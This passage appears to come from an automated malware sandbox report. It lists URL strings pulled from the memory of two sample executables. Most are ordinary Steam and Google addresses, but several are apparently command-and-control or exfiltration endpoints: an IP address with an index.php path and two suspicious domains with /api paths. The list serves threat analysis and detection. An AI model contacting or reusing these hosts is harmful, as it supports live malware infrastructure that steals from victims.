Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php8AO
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.php9001
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpUsers
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpa
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpcoded
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpn
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpncoded
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpqYo30zpOYVp
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B38000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/Zu7JuNko/index.phpy1mb3JtLXVybGVuY29kZWQ=.Verb
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/a
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/fac00b58981f4a4fea1c67edd534db057eb410a494d9d#b
Source: skotes.exe, 00000005.00000002.2953123746.0000000000B1B000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.43/ones
Source: 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://microsoft.co
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/account/cookiepreferences/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/privacy_agreement/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://store.steampowered.com/subscriber_agreement/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://www.valvesoftware.com/legal.htm
Source: chromecache_161.19.dr	String found in binary or memory: https://accounts.google.com
Source: chromecache_161.19.dr	String found in binary or memory: https://accounts.google.com/TOS?loc=
Source: 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://api.steampowered.com/
Source: chromecache_167.19.dr	String found in binary or memory: https://apis.google.com/js/api.js
Source: chromecache_161.19.dr	String found in binary or memory: https://apis.google.com/js/rpc:shindig_random.js?onload=credentialservice.postMessage
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic
Source: 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://avatars.akamai.steamstatic.com/fef49e7fa7e1997310d705b2a6158ff8dc1cdfeb_full.jpg
Source: 9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bathdoomgaz.store:443/api
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://broadcast.st.dl.eccdnx.com
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://cdn.akamai.steamstatic.com/steamcommunity/public/assets/
Source: 9d7da53f74.exe, 0000003C.00000002.2748028782.0000000001787000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2748086028.00000000017BA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://checkout.steampowered.com/
Source: 9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site/apiX
Source: 9d7da53f74.exe, 0000003C.00000003.2728178187.0000000001745000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000002.2746326471.0000000001745000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://clearancek.site:443/apii
Source: 9d7da53f74.exe, 0000003C.00000003.2728003958.00000000017BA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/applications/community/main.css?v=Ev2sBLgkgyWJ&a
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/globalv2.css?v=PAcV2zMBzzSV&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/promo/summer2017/stickers.css?v=HA2Yr5oy3FFG&amp
Source: 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/ski
Source: 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/fatalerror.css?v=wctRWaBvNt2z&l=engli
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/header.css?v=NFoCa4OkAxRb&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/modalContent.css?v=.VpiwkLAYt9r1
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/css/skin_1/profilev2.css?v=M_qL4gO2sKII&l=englis
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/arrowDn9x5.gif
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/images/skin_1/footerLogo_valve.png?v=1
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/libraries~b28b7af6
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/main.js?v=10oP_O2R
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000002.2522203861.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000C77000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CB000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728178187.000000000173E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/applications/community/manifest.js?v=AeTz
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/global.js?v=9OzcxMXbaV84&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/jquery-1.11.1.min.js?v=.isFTSRckeNhC
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalContent.js?v=f2hMA1v9Zkc8&l=engl
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/modalv2.js?v=dfMhuy-Lrpyo&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/profile.js?v=f3vWO7swdDqp&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/promo/stickers.js?v=upl9NJ5D2xkP&l=en
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/prototype-1.7.js?v=.55t44gwuwgvw
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/reportedcontent.js?v=dAtjbcZMWhSe&l=e
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/scriptaculous/_combined.js?v=OeNIgrpEF8tL
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CF5000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/javascript/webui/clientcom.js?v=9yzMGndrVfY4&l=e
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/buttons.css?v=PUJIfhtcQn7W&l=english
Source: 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017CF000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/motiva_sans.css?v=-DH0xTYpnVe2&l=engl
Source: 9d7da53f74.exe, 00000015.00000003.2511547974.0000000000CFA000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2511615380.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521640982.0000000000CE4000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 00000015.00000003.2521595516.0000000000D03000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2728084874.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017DC000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727905002.00000000017D0000.00000004.00000020.00020000.00000000.sdmp, 9d7da53f74.exe, 0000003C.00000003.2727955968.00000000017C8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://community.akamai.steamstatic.com/public/shared/css/shared_global.css?v=ezWS9te9Zwm9&l=en
